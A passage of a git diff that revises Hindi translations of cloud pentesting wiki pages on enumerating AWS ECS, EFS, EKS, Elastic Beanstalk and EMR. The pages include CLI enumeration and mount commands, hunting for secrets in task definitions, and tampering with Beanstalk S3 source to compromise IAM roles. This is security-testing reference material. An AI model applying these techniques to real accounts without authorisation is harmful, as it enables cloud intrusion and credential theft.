वहाँ **2 प्रकार के सेवा शेड्यूलर** हैं: +- [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): प्रतिकृति शेड्यूलिंग रणनीति आपके क्लस्टर में कार्यों की **इच्छित संख्या** को रखती और बनाए रखती है। यदि किसी कारणवश कोई कार्य बंद हो जाता है, तो एक नया उसी या अलग नोड में लॉन्च किया जाता है। +- [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): आवश्यक आवश्यकताओं वाले प्रत्येक सक्रिय कंटेनर इंस्टेंस पर ठीक एक कार्य तैनात करता है। कार्यों की इच्छित संख्या, कार्य स्थान रणनीति, या सेवा ऑटो स्केलिंग नीतियों को निर्दिष्ट करने की आवश्यकता नहीं है। +- **Task Definitions** उन **कंटेनरों को परिभाषित करने के लिए जिम्मेदार हैं जो चलेंगे** और विभिन्न पैरामीटर जो कंटेनरों के साथ कॉन्फ़िगर किए जाएंगे जैसे **पोर्ट मैपिंग** होस्ट के साथ, **env वेरिएबल**, Docker **entrypoint**... +- संवेदनशील जानकारी के लिए **env वेरिएबल** की जांच करें! ### Sensitive Data In Task Definitions -Task definitions **ECS में चलने वाले वास्तविक कंटेनरों को कॉन्फ़िगर करने के लिए जिम्मेदार हैं**। चूंकि कार्य परिभाषाएँ यह परिभाषित करती हैं कि कंटेनर कैसे चलेंगे, इसलिए इसमें बहुत सारी जानकारी मिल सकती है। +Task definitions उन **कंटेनरों को कॉन्फ़िगर करने के लिए जिम्मेदार हैं जो ECS में चलेंगे**। चूंकि कार्य परिभाषाएँ यह परिभाषित करती हैं कि कंटेनर कैसे चलेंगे, इसलिए इसमें बहुत सारी जानकारी मिल सकती है। Pacu ECS को सूचीबद्ध कर सकता है (list-clusters, list-container-instances, list-services, list-task-definitions), यह कार्य परिभाषाएँ भी डंप कर सकता है। @@ -59,7 +59,7 @@ aws ecs describe-task-definition --task-definition : ### प्रिवेस्क -अगली पृष्ठ पर आप देख सकते हैं कि **ECS अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: +अगली पृष्ठ पर आप **ECS अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाने** के तरीके की जांच कर सकते हैं: {{#ref}} ../aws-privilege-escalation/aws-ecs-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md index a5d8b7b17..341b99463 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md @@ -6,9 +6,9 @@ ### Basic Information -Amazon Elastic File System (EFS) को AWS द्वारा **पूर्ण रूप से प्रबंधित, स्केलेबल, और लचीले नेटवर्क फ़ाइल सिस्टम** के रूप में प्रस्तुत किया गया है। यह सेवा **फ़ाइल सिस्टम** बनाने और कॉन्फ़िगर करने की सुविधा प्रदान करती है जिन्हें कई EC2 उदाहरणों और अन्य AWS सेवाओं द्वारा एक साथ एक्सेस किया जा सकता है। EFS की प्रमुख विशेषताओं में स्वचालित रूप से स्केल करने की क्षमता, निम्न-लेटेंसी एक्सेस प्रदान करना, उच्च-थ्रूपुट कार्यभार का समर्थन करना, डेटा की स्थिरता की गारंटी देना, और विभिन्न AWS सुरक्षा तंत्रों के साथ निर्बाध रूप से एकीकृत होना शामिल है। +Amazon Elastic File System (EFS) को AWS द्वारा **पूर्ण रूप से प्रबंधित, स्केलेबल, और लचीले नेटवर्क फ़ाइल सिस्टम** के रूप में प्रस्तुत किया गया है। यह सेवा **फ़ाइल सिस्टम** बनाने और कॉन्फ़िगर करने की सुविधा प्रदान करती है जिन्हें कई EC2 उदाहरणों और अन्य AWS सेवाओं द्वारा एक साथ एक्सेस किया जा सकता है। EFS की प्रमुख विशेषताओं में स्वचालित रूप से स्केल करने की क्षमता, निम्न-लेटेंसी एक्सेस प्रदान करना, उच्च-थ्रूपुट कार्यभार का समर्थन करना, डेटा की स्थिरता की गारंटी देना, और विभिन्न AWS सुरक्षा तंत्रों के साथ सहजता से एकीकृत होना शामिल है। -**डिफ़ॉल्ट** रूप से, EFS को माउंट करने के लिए फ़ोल्डर **`/`** होगा लेकिन इसका **अलग नाम** हो सकता है। +**डिफ़ॉल्ट** रूप से, माउंट करने के लिए EFS फ़ोल्डर **`/`** होगा लेकिन इसका **अलग नाम** हो सकता है। ### Network Access @@ -57,7 +57,7 @@ sudo mount -t efs :/ /efs/ ``` ### IAM Access -**डिफ़ॉल्ट** रूप से, EFS तक **नेटवर्क एक्सेस** रखने वाला कोई भी व्यक्ति इसे माउंट, **पढ़ और लिख** सकता है, यहां तक कि रूट उपयोगकर्ता के रूप में भी। हालाँकि, फ़ाइल प्रणाली नीतियाँ लागू की जा सकती हैं **जो केवल विशिष्ट अनुमतियों वाले प्रिंसिपल को** इसे एक्सेस करने की अनुमति देती हैं।\ +डिफ़ॉल्ट रूप से, **EFS** तक **नेटवर्क एक्सेस** रखने वाला कोई भी व्यक्ति इसे माउंट, **पढ़ और लिख** सकेगा, यहां तक कि रूट उपयोगकर्ता के रूप में भी। हालाँकि, फ़ाइल प्रणाली नीतियाँ लागू की जा सकती हैं **जो केवल विशिष्ट अनुमतियों वाले प्रिंसिपल को** इसे एक्सेस करने की अनुमति देती हैं।\ उदाहरण के लिए, यह फ़ाइल प्रणाली नीति **यहां तक कि माउंट करने की अनुमति नहीं देगी** यदि आपके पास **IAM अनुमति** नहीं है: ```json { @@ -85,7 +85,7 @@ sudo mount -t efs :/ /efs/
-ध्यान दें कि IAM द्वारा सुरक्षित फ़ाइल सिस्टम को माउंट करने के लिए आपको माउंट कमांड में "efs" प्रकार का उपयोग करना अनिवार्य है: +ध्यान दें कि IAM द्वारा सुरक्षित फ़ाइल सिस्टम को माउंट करने के लिए आपको माउंट कमांड में "efs" प्रकार का उपयोग करना होगा: ```bash sudo mkdir /efs sudo mount -t efs -o tls,iam :/ /efs/ @@ -94,23 +94,23 @@ sudo mount -t efs -o tls,iam :/ /efs/ ``` ### Access Points -**Access points** एक **application**-विशिष्ट प्रवेश बिंदु हैं **EFS फ़ाइल प्रणाली** में जो साझा डेटा सेट्स तक एप्लिकेशन पहुंच प्रबंधित करना आसान बनाते हैं। +**Access points** एक **application**-विशिष्ट प्रवेश बिंदु हैं **एक EFS फ़ाइल प्रणाली में** जो साझा डेटा सेट्स तक एप्लिकेशन पहुंच प्रबंधित करना आसान बनाते हैं। -जब आप एक access point बनाते हैं, तो आप **फाइलों और निर्देशिकाओं के लिए मालिक और POSIX अनुमतियाँ** निर्दिष्ट कर सकते हैं जो access point के माध्यम से बनाई जाती हैं। आप access point के लिए **एक कस्टम रूट निर्देशिका** भी परिभाषित कर सकते हैं, या तो एक मौजूदा निर्देशिका निर्दिष्ट करके या इच्छित अनुमतियों के साथ एक नई बनाकर। यह आपको **आपकी EFS फ़ाइल प्रणाली तक पहुंच को प्रति-एप्लिकेशन या प्रति-उपयोगकर्ता आधार पर नियंत्रित करने** की अनुमति देता है, जिससे आपके साझा फ़ाइल डेटा को प्रबंधित और सुरक्षित करना आसान हो जाता है। +जब आप एक access point बनाते हैं, तो आप फ़ाइलों और निर्देशिकाओं के लिए **स्वामी और POSIX अनुमतियाँ** निर्दिष्ट कर सकते हैं जो access point के माध्यम से बनाई जाती हैं। आप access point के लिए **एक कस्टम रूट निर्देशिका** भी परिभाषित कर सकते हैं, या तो एक मौजूदा निर्देशिका निर्दिष्ट करके या इच्छित अनुमतियों के साथ एक नई बनाकर। यह आपको **आपकी EFS फ़ाइल प्रणाली तक पहुंच को प्रति-एप्लिकेशन या प्रति-उपयोगकर्ता आधार पर नियंत्रित करने** की अनुमति देता है, जिससे आपके साझा फ़ाइल डेटा को प्रबंधित और सुरक्षित करना आसान हो जाता है। -**आप access point से फ़ाइल प्रणाली को इस तरह माउंट कर सकते हैं:** +**आप एक access point से फ़ाइल प्रणाली को इस तरह माउंट कर सकते हैं:** ```bash # Use IAM if you need to use iam permissions sudo mount -t efs -o tls,[iam],accesspoint= \ /efs/ ``` > [!WARNING] -> ध्यान दें कि एक एक्सेस पॉइंट को माउंट करने की कोशिश करते समय, आपको **नेटवर्क के माध्यम से NFS सेवा से संपर्क करने में सक्षम होना चाहिए**, और यदि EFS में एक फ़ाइल प्रणाली **नीति** है, तो आपको इसे माउंट करने के लिए **पर्याप्त IAM अनुमतियाँ** चाहिए। +> ध्यान दें कि एक एक्सेस पॉइंट को माउंट करने की कोशिश करने पर भी आपको **नेटवर्क के माध्यम से NFS सेवा से संपर्क करने में सक्षम होना चाहिए**, और यदि EFS में एक फ़ाइल प्रणाली **नीति** है, तो आपको इसे माउंट करने के लिए **पर्याप्त IAM अनुमतियाँ** चाहिए। एक्सेस पॉइंट का उपयोग निम्नलिखित उद्देश्यों के लिए किया जा सकता है: - **अनुमतियों के प्रबंधन को सरल बनाना**: प्रत्येक एक्सेस पॉइंट के लिए एक POSIX उपयोगकर्ता और समूह को परिभाषित करके, आप बिना अंतर्निहित फ़ाइल प्रणाली की अनुमतियों को संशोधित किए विभिन्न अनुप्रयोगों या उपयोगकर्ताओं के लिए पहुँच अनुमतियों को आसानी से प्रबंधित कर सकते हैं। -- **एक रूट निर्देशिका को लागू करना**: एक्सेस पॉइंट EFS फ़ाइल प्रणाली के भीतर एक विशिष्ट निर्देशिका तक पहुँच को प्रतिबंधित कर सकते हैं, यह सुनिश्चित करते हुए कि प्रत्येक अनुप्रयोग या उपयोगकर्ता अपने निर्दिष्ट फ़ोल्डर के भीतर कार्य करता है। यह आकस्मिक डेटा एक्सपोजर या संशोधन को रोकने में मदद करता है। +- **एक रूट निर्देशिका को लागू करना**: एक्सेस पॉइंट EFS फ़ाइल प्रणाली के भीतर एक विशिष्ट निर्देशिका तक पहुँच को प्रतिबंधित कर सकते हैं, यह सुनिश्चित करते हुए कि प्रत्येक अनुप्रयोग या उपयोगकर्ता अपने निर्दिष्ट फ़ोल्डर के भीतर कार्य करता है। यह आकस्मिक डेटा एक्सपोज़र या संशोधन को रोकने में मदद करता है। - **फ़ाइल प्रणाली तक पहुँच को आसान बनाना**: एक्सेस पॉइंट को AWS Lambda फ़ंक्शन या AWS Fargate कार्य के साथ जोड़ा जा सकता है, सर्वरलेस और कंटेनरयुक्त अनुप्रयोगों के लिए फ़ाइल प्रणाली तक पहुँच को सरल बनाते हुए। ## Privesc diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md index d1b5bc0b8..f6dd2bc53 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md @@ -4,13 +4,13 @@ ## EKS -Amazon Elastic Kubernetes Service (Amazon EKS) उपयोगकर्ताओं को अपने स्वयं के Kubernetes नियंत्रण विमान या नोड्स को स्थापित, संचालित और प्रबंधित करने की आवश्यकता को समाप्त करने के लिए डिज़ाइन किया गया है। इसके बजाय, Amazon EKS इन घटकों का प्रबंधन करता है, AWS पर Kubernetes का उपयोग करके कंटेनराइज्ड अनुप्रयोगों को तैनात, प्रबंधित और स्केल करने का एक सरल तरीका प्रदान करता है। +Amazon Elastic Kubernetes Service (Amazon EKS) उपयोगकर्ताओं को अपने स्वयं के Kubernetes नियंत्रण कक्ष या नोड्स को स्थापित, संचालित और प्रबंधित करने की आवश्यकता को समाप्त करने के लिए डिज़ाइन किया गया है। इसके बजाय, Amazon EKS इन घटकों का प्रबंधन करता है, AWS पर Kubernetes का उपयोग करके कंटेनरीकृत अनुप्रयोगों को तैनात, प्रबंधित और स्केल करने का एक सरल तरीका प्रदान करता है। Amazon EKS के प्रमुख पहलू शामिल हैं: 1. **Managed Kubernetes Control Plane**: Amazon EKS महत्वपूर्ण कार्यों जैसे पैचिंग, नोड प्रोविजनिंग और अपडेट को स्वचालित करता है। 2. **Integration with AWS Services**: यह कंप्यूट, स्टोरेज, डेटाबेस और सुरक्षा के लिए AWS सेवाओं के साथ निर्बाध एकीकरण प्रदान करता है। -3. **Scalability and Security**: Amazon EKS को अत्यधिक उपलब्ध और सुरक्षित होने के लिए डिज़ाइन किया गया है, जो स्वचालित स्केलिंग और डिज़ाइन द्वारा पृथक्करण जैसी सुविधाएँ प्रदान करता है। +3. **Scalability and Security**: Amazon EKS को उच्च उपलब्धता और सुरक्षा के लिए डिज़ाइन किया गया है, जो स्वचालित स्केलिंग और डिज़ाइन द्वारा पृथक्करण जैसी सुविधाएँ प्रदान करता है। 4. **Compatibility with Kubernetes**: Amazon EKS पर चलने वाले अनुप्रयोग किसी भी मानक Kubernetes वातावरण पर चलने वाले अनुप्रयोगों के साथ पूरी तरह से संगत हैं। #### Enumeration diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md index 939138b6a..c452098fa 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md @@ -8,7 +8,7 @@ Amazon Elastic Beanstalk एक सरल प्लेटफ़ॉर्म प Elastic Beanstalk एक सरल और लचीला तरीका प्रदान करता है **आपके अनुप्रयोगों को AWS क्लाउड में तैनात करने के लिए**, बिना अंतर्निहित बुनियादी ढांचे की चिंता किए। यह **स्वचालित रूप से** क्षमता **प्रावधान**, लोड **संतुलन**, **स्केलिंग**, और अनुप्रयोग स्वास्थ्य **निगरानी** के विवरण को संभालता है, जिससे आप अपने कोड को लिखने और तैनात करने पर ध्यान केंद्रित कर सकते हैं। -Elastic Beanstalk द्वारा निर्मित बुनियादी ढांचे का प्रबंधन **Autoscaling** समूहों द्वारा **EC2** में किया जाता है (एक लोड बैलेंसर के साथ)। जिसका अर्थ है कि दिन के अंत में, यदि आप **होस्ट से समझौता करते हैं**, तो आपको EC2 के बारे में जानना चाहिए: +Elastic Beanstalk द्वारा निर्मित बुनियादी ढांचे का प्रबंधन **EC2** में **Autoscaling** समूहों द्वारा किया जाता है (एक लोड बैलेंसर के साथ)। जिसका अर्थ है कि दिन के अंत में, यदि आप **होस्ट से समझौता करते हैं**, तो आपको EC2 के बारे में जानना चाहिए: {{#ref}} aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -27,29 +27,29 @@ AWS Elastic Beanstalk में, "अनुप्रयोग" और "पर् #### Application - Elastic Beanstalk में एक अनुप्रयोग आपके अनुप्रयोग के स्रोत कोड, वातावरण, और कॉन्फ़िगरेशन के लिए एक **तार्किक कंटेनर** है। यह आपके अनुप्रयोग कोड के विभिन्न संस्करणों को एक साथ समूहित करता है और आपको उन्हें एक एकल इकाई के रूप में प्रबंधित करने की अनुमति देता है। -- जब आप एक अनुप्रयोग बनाते हैं, तो आप एक नाम और **विवरण प्रदान करते हैं, लेकिन इस चरण में कोई संसाधन प्रावधान नहीं किया जाता है**। यह बस आपके कोड और संबंधित संसाधनों को व्यवस्थित और प्रबंधित करने का एक तरीका है। +- जब आप एक अनुप्रयोग बनाते हैं, तो आप एक नाम और **विवरण प्रदान करते हैं, लेकिन इस चरण में कोई संसाधन प्रावधान नहीं किए जाते हैं**। यह बस आपके कोड और संबंधित संसाधनों को व्यवस्थित और प्रबंधित करने का एक तरीका है। - आप एक अनुप्रयोग के भीतर **कई अनुप्रयोग संस्करण** रख सकते हैं। प्रत्येक संस्करण आपके कोड के एक विशिष्ट रिलीज़ के अनुरूप होता है, जिसे एक या अधिक वातावरण में तैनात किया जा सकता है। #### Environment -- एक वातावरण आपके अनुप्रयोग का एक **प्रावधानित उदाहरण** है जो AWS बुनियादी ढांचे पर चल रहा है। यह **जहाँ आपका अनुप्रयोग कोड तैनात और निष्पादित होता है**। Elastic Beanstalk वातावरण कॉन्फ़िगरेशन के आधार पर आवश्यक संसाधनों (जैसे, EC2 उदाहरण, लोड बैलेंसर, ऑटो-स्केलिंग समूह, डेटाबेस) को प्रावधान करता है। -- **प्रत्येक वातावरण आपके अनुप्रयोग के एकल संस्करण को चलाता है**, और आप विभिन्न उद्देश्यों के लिए कई वातावरण रख सकते हैं, जैसे विकास, परीक्षण, स्टेजिंग, और उत्पादन। +- एक वातावरण आपके अनुप्रयोग का एक **प्रावधानित उदाहरण** है जो AWS बुनियादी ढांचे पर चल रहा है। यह **जहाँ आपका अनुप्रयोग कोड तैनात और निष्पादित होता है**। Elastic Beanstalk आवश्यक संसाधनों (जैसे, EC2 उदाहरण, लोड बैलेंसर, ऑटो-स्केलिंग समूह, डेटाबेस) को वातावरण कॉन्फ़िगरेशन के आधार पर प्रावधान करता है। +- **प्रत्येक वातावरण आपके अनुप्रयोग के एकल संस्करण को चलाता है**, और आपके पास विभिन्न उद्देश्यों के लिए कई वातावरण हो सकते हैं, जैसे विकास, परीक्षण, स्टेजिंग, और उत्पादन। - जब आप एक वातावरण बनाते हैं, तो आप एक प्लेटफ़ॉर्म (जैसे, Java, .NET, Node.js, आदि) और एक वातावरण प्रकार (जैसे, वेब सर्वर या कार्यकर्ता) चुनते हैं। आप बुनियादी ढांचे और अनुप्रयोग सेटिंग्स के विभिन्न पहलुओं को नियंत्रित करने के लिए वातावरण कॉन्फ़िगरेशन को भी अनुकूलित कर सकते हैं। ### 2 types of Environments 1. **Web Server Environment**: इसे **वेब अनुप्रयोगों और APIs को होस्ट और सेवा देने के लिए डिज़ाइन किया गया है**। ये अनुप्रयोग आमतौर पर आने वाले HTTP/HTTPS अनुरोधों को संभालते हैं। वेब सर्वर वातावरण संसाधनों को प्रावधान करता है जैसे **EC2 उदाहरण, लोड बैलेंसर, और ऑटो-स्केलिंग** समूहों को आने वाले ट्रैफ़िक को संभालने, क्षमता प्रबंधित करने, और अनुप्रयोग की उच्च उपलब्धता सुनिश्चित करने के लिए। -2. **Worker Environment**: इसे **पृष्ठभूमि कार्यों** को संसाधित करने के लिए डिज़ाइन किया गया है, जो अक्सर समय-खपत करने वाले या संसाधन-गहन संचालन होते हैं जिन्हें ग्राहकों को तात्कालिक प्रतिक्रियाओं की आवश्यकता नहीं होती। कार्यकर्ता वातावरण संसाधनों को प्रावधान करता है जैसे **EC2 उदाहरण और ऑटो-स्केलिंग समूह**, लेकिन इसमें **लोड बैलेंसर नहीं होता** क्योंकि यह सीधे HTTP/HTTPS अनुरोधों को संभालता नहीं है। इसके बजाय, यह **Amazon Simple Queue Service (SQS) कतार** से कार्यों का उपभोग करता है, जो कार्यकर्ता वातावरण और उन कार्यों के बीच एक बफर के रूप में कार्य करता है जिन्हें यह संसाधित करता है। +2. **Worker Environment**: इसे **पृष्ठभूमि कार्यों** को संसाधित करने के लिए डिज़ाइन किया गया है, जो अक्सर समय-खपत करने वाले या संसाधन-गहन संचालन होते हैं जिन्हें ग्राहकों को तात्कालिक प्रतिक्रियाओं की आवश्यकता नहीं होती है। कार्यकर्ता वातावरण संसाधनों को प्रावधान करता है जैसे **EC2 उदाहरण और ऑटो-स्केलिंग समूह**, लेकिन इसमें **लोड बैलेंसर नहीं होता** क्योंकि यह सीधे HTTP/HTTPS अनुरोधों को संभालता नहीं है। इसके बजाय, यह **Amazon Simple Queue Service (SQS) कतार** से कार्यों का उपभोग करता है, जो कार्यकर्ता वातावरण और उन कार्यों के बीच एक बफर के रूप में कार्य करता है जिन्हें यह संसाधित करता है। ### Security Beanstalk में एक ऐप बनाते समय चुनने के लिए 3 बहुत महत्वपूर्ण सुरक्षा विकल्प होते हैं: -- **EC2 key pair**: यह **SSH कुंजी** होगी जो ऐप चलाने वाले EC2 उदाहरणों तक पहुँच सकेगी +- **EC2 key pair**: यह **SSH कुंजी** होगी जो ऐप चला रहे EC2 उदाहरणों तक पहुँच सकेगी - **IAM instance profile**: यह **instance profile** है जो उदाहरणों के पास होगा (**IAM विशेषाधिकार**) -- स्वचालित रूप से उत्पन्न भूमिका को **`aws-elasticbeanstalk-ec2-role`** कहा जाता है और इसके पास सभी ECS, सभी SQS, DynamoDB elasticbeanstalk और elasticbeanstalk S3 पर कुछ दिलचस्प पहुँच होती है, जो AWS प्रबंधित नीतियों का उपयोग करती है: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)। -- **Service role**: यह **भूमिका है जिसका उपयोग AWS सेवा** सभी आवश्यक कार्यों को करने के लिए करेगी। मेरी जानकारी के अनुसार, एक सामान्य AWS उपयोगकर्ता उस भूमिका तक पहुँच नहीं सकता। -- AWS द्वारा उत्पन्न की गई यह भूमिका **`aws-elasticbeanstalk-service-role`** कहलाती है और AWS प्रबंधित नीतियों [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) और [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) का उपयोग करती है। +- स्वचालित रूप से उत्पन्न भूमिका को **`aws-elasticbeanstalk-ec2-role`** कहा जाता है और इसमें सभी ECS, सभी SQS, DynamoDB elasticbeanstalk और elasticbeanstalk S3 पर कुछ दिलचस्प पहुँच होती है, जो AWS प्रबंधित नीतियों का उपयोग करती है: [AWSElasticBeanstalkWebTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWebTier), [AWSElasticBeanstalkMulticontainerDocker](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkMulticontainerDocker), [AWSElasticBeanstalkWorkerTier](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/AWSElasticBeanstalkWorkerTier)। +- **Service role**: यह **भूमिका है जिसका उपयोग AWS सेवा** सभी आवश्यक क्रियाएँ करने के लिए करेगी। मेरी जानकारी के अनुसार, एक सामान्य AWS उपयोगकर्ता उस भूमिका तक पहुँच नहीं सकता। +- AWS द्वारा उत्पन्न यह भूमिका **`aws-elasticbeanstalk-service-role`** कहलाती है और AWS प्रबंधित नीतियों [AWSElasticBeanstalkEnhancedHealth](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/service-role/AWSElasticBeanstalkEnhancedHealth) और [AWSElasticBeanstalkManagedUpdatesCustomerRolePolicy](https://us-east-1.console.aws.amazon.com/iamv2/home?region=us-east-1#/roles/details/aws-elasticbeanstalk-service-role?section=permissions) का उपयोग करती है। डिफ़ॉल्ट रूप से **metadata version 1 अक्षम** है: @@ -57,14 +57,14 @@ Beanstalk में एक ऐप बनाते समय चुनने क ### Exposure -Beanstalk डेटा एक **S3 बकेट** में संग्रहीत होता है जिसका नाम है: **`elasticbeanstalk--`**(यदि इसे AWS कंसोल में बनाया गया था)। इस बकेट के अंदर आपको अपलोड किया गया **अनुप्रयोग का स्रोत कोड** मिलेगा। +Beanstalk डेटा एक **S3 बकेट** में संग्रहीत होता है जिसका नाम है: **`elasticbeanstalk--`**(यदि इसे AWS कंसोल में बनाया गया था)। इस बकेट के अंदर आपको **अनुप्रयोग के अपलोड किए गए स्रोत कोड** मिलेंगे। बनाई गई वेबपृष्ठ का **URL** है **`http://-env...elasticbeanstalk.com/`** > [!WARNING] > यदि आपको बकेट पर **पढ़ने की पहुँच** मिलती है, तो आप **स्रोत कोड पढ़ सकते हैं** और यहां तक कि **संवेदनशील क्रेडेंशियल्स** भी पा सकते हैं > -> यदि आपको बकेट पर **लिखने की पहुँच** मिलती है, तो आप **स्रोत कोड को संशोधित** कर सकते हैं ताकि अगली बार इसे निष्पादित करते समय **IAM भूमिका** को **समझौता** किया जा सके। +> यदि आपको बकेट पर **लिखने की पहुँच** मिलती है, तो आप **स्रोत कोड को संशोधित** कर सकते हैं ताकि आप अगली बार इसे निष्पादित करते समय अनुप्रयोग द्वारा उपयोग की जा रही **IAM भूमिका** को **समझौता** कर सकें। ### Enumeration ```bash @@ -102,7 +102,7 @@ aws elasticbeanstalk describe-events ../aws-privilege-escalation/aws-elastic-beanstalk-privesc.md {{#endref}} -### पोस्ट शोषण +### पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md index 9da64b3c2..6f1c49a90 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md @@ -9,28 +9,28 @@ AWS की Elastic MapReduce (EMR) सेवा, संस्करण 4.8.0 स मुख्य विशेषताएँ शामिल हैं: - **क्लस्टर एन्क्रिप्शन डिफ़ॉल्ट**: डिफ़ॉल्ट रूप से, एक क्लस्टर के भीतर स्थिर डेटा एन्क्रिप्ट नहीं होता है। हालाँकि, एन्क्रिप्शन सक्षम करने से कई सुविधाओं तक पहुँच मिलती है: -- **लिनक्स यूनिफाइड की सेटअप**: EBS क्लस्टर वॉल्यूम को एन्क्रिप्ट करता है। उपयोगकर्ता AWS की की प्रबंधन सेवा (KMS) या एक कस्टम की प्रदाता का विकल्प चुन सकते हैं। -- **ओपन-सोर्स HDFS एन्क्रिप्शन**: Hadoop के लिए दो एन्क्रिप्शन विकल्प प्रदान करता है: -- सुरक्षित Hadoop RPC (रिमोट प्रोसीजर कॉल), गोपनीयता पर सेट, सरल प्रमाणीकरण सुरक्षा परत का लाभ उठाता है। +- **Linux Unified Key Setup**: EBS क्लस्टर वॉल्यूम को एन्क्रिप्ट करता है। उपयोगकर्ता AWS Key Management Service (KMS) या एक कस्टम कुंजी प्रदाता का विकल्प चुन सकते हैं। +- **Open-Source HDFS एन्क्रिप्शन**: Hadoop के लिए दो एन्क्रिप्शन विकल्प प्रदान करता है: +- सुरक्षित Hadoop RPC (Remote Procedure Call), गोपनीयता के लिए सेट किया गया, Simple Authentication Security Layer का लाभ उठाते हुए। - HDFS ब्लॉक ट्रांसफर एन्क्रिप्शन, सत्यापित, AES-256 एल्गोरिदम का उपयोग करता है। -- **संचरण में एन्क्रिप्शन**: डेटा को स्थानांतरित करते समय सुरक्षित करने पर ध्यान केंद्रित करता है। विकल्पों में शामिल हैं: -- **ओपन-सोर्स ट्रांसपोर्ट लेयर सिक्योरिटी (TLS)**: एन्क्रिप्शन को सक्षम करने के लिए एक प्रमाणपत्र प्रदाता चुनने की आवश्यकता होती है: +- **संचरण में एन्क्रिप्शन**: डेटा को स्थानांतरित करते समय सुरक्षा पर ध्यान केंद्रित करता है। विकल्पों में शामिल हैं: +- **Open Source Transport Layer Security (TLS)**: एन्क्रिप्शन को सक्षम करने के लिए एक प्रमाणपत्र प्रदाता चुनने की आवश्यकता होती है: - **PEM**: PEM प्रमाणपत्रों को मैन्युअल रूप से बनाने और एक ज़िप फ़ाइल में बंडल करने की आवश्यकता होती है, जिसे S3 बकेट से संदर्भित किया जाता है। -- **कस्टम**: एक कस्टम जावा क्लास को प्रमाणपत्र प्रदाता के रूप में जोड़ने में शामिल है जो एन्क्रिप्शन आर्टिफैक्ट प्रदान करता है। +- **कस्टम**: एक कस्टम Java क्लास को प्रमाणपत्र प्रदाता के रूप में जोड़ने में शामिल है जो एन्क्रिप्शन आर्टिफैक्ट प्रदान करता है। एक बार जब TLS प्रमाणपत्र प्रदाता सुरक्षा कॉन्फ़िगरेशन में एकीकृत हो जाता है, तो निम्नलिखित एप्लिकेशन-विशिष्ट एन्क्रिप्शन सुविधाएँ सक्रिय की जा सकती हैं, जो EMR संस्करण के आधार पर भिन्न होती हैं: - **Hadoop**: - TLS का उपयोग करके एन्क्रिप्टेड शफल को कम कर सकता है। -- सरल प्रमाणीकरण सुरक्षा परत और AES-256 के साथ HDFS ब्लॉक ट्रांसफर के साथ सुरक्षित Hadoop RPC को स्थिर एन्क्रिप्शन के साथ सक्रिय किया गया है। +- Simple Authentication Security Layer और HDFS ब्लॉक ट्रांसफर के साथ सुरक्षित Hadoop RPC को स्थिर एन्क्रिप्शन के साथ सक्रिय किया गया है। - **Presto** (EMR संस्करण 5.6.0+): - Presto नोड्स के बीच आंतरिक संचार SSL और TLS का उपयोग करके सुरक्षित किया गया है। -- **Tez शफल हैंडलर**: +- **Tez Shuffle Handler**: - एन्क्रिप्शन के लिए TLS का उपयोग करता है। - **Spark**: - Akka प्रोटोकॉल के लिए TLS का उपयोग करता है। -- ब्लॉक ट्रांसफर सेवा के लिए सरल प्रमाणीकरण सुरक्षा परत और 3DES का उपयोग करता है। -- बाहरी शफल सेवा को सरल प्रमाणीकरण सुरक्षा परत के साथ सुरक्षित किया गया है। +- ब्लॉक ट्रांसफर सेवा के लिए Simple Authentication Security Layer और 3DES का उपयोग करता है। +- बाहरी शफल सेवा को Simple Authentication Security Layer के साथ सुरक्षित किया गया है। ये सुविधाएँ सामूहिक रूप से EMR क्लस्टरों की सुरक्षा स्थिति को बढ़ाती हैं, विशेष रूप से भंडारण और संचरण चरणों के दौरान डेटा सुरक्षा के संबंध में। diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md 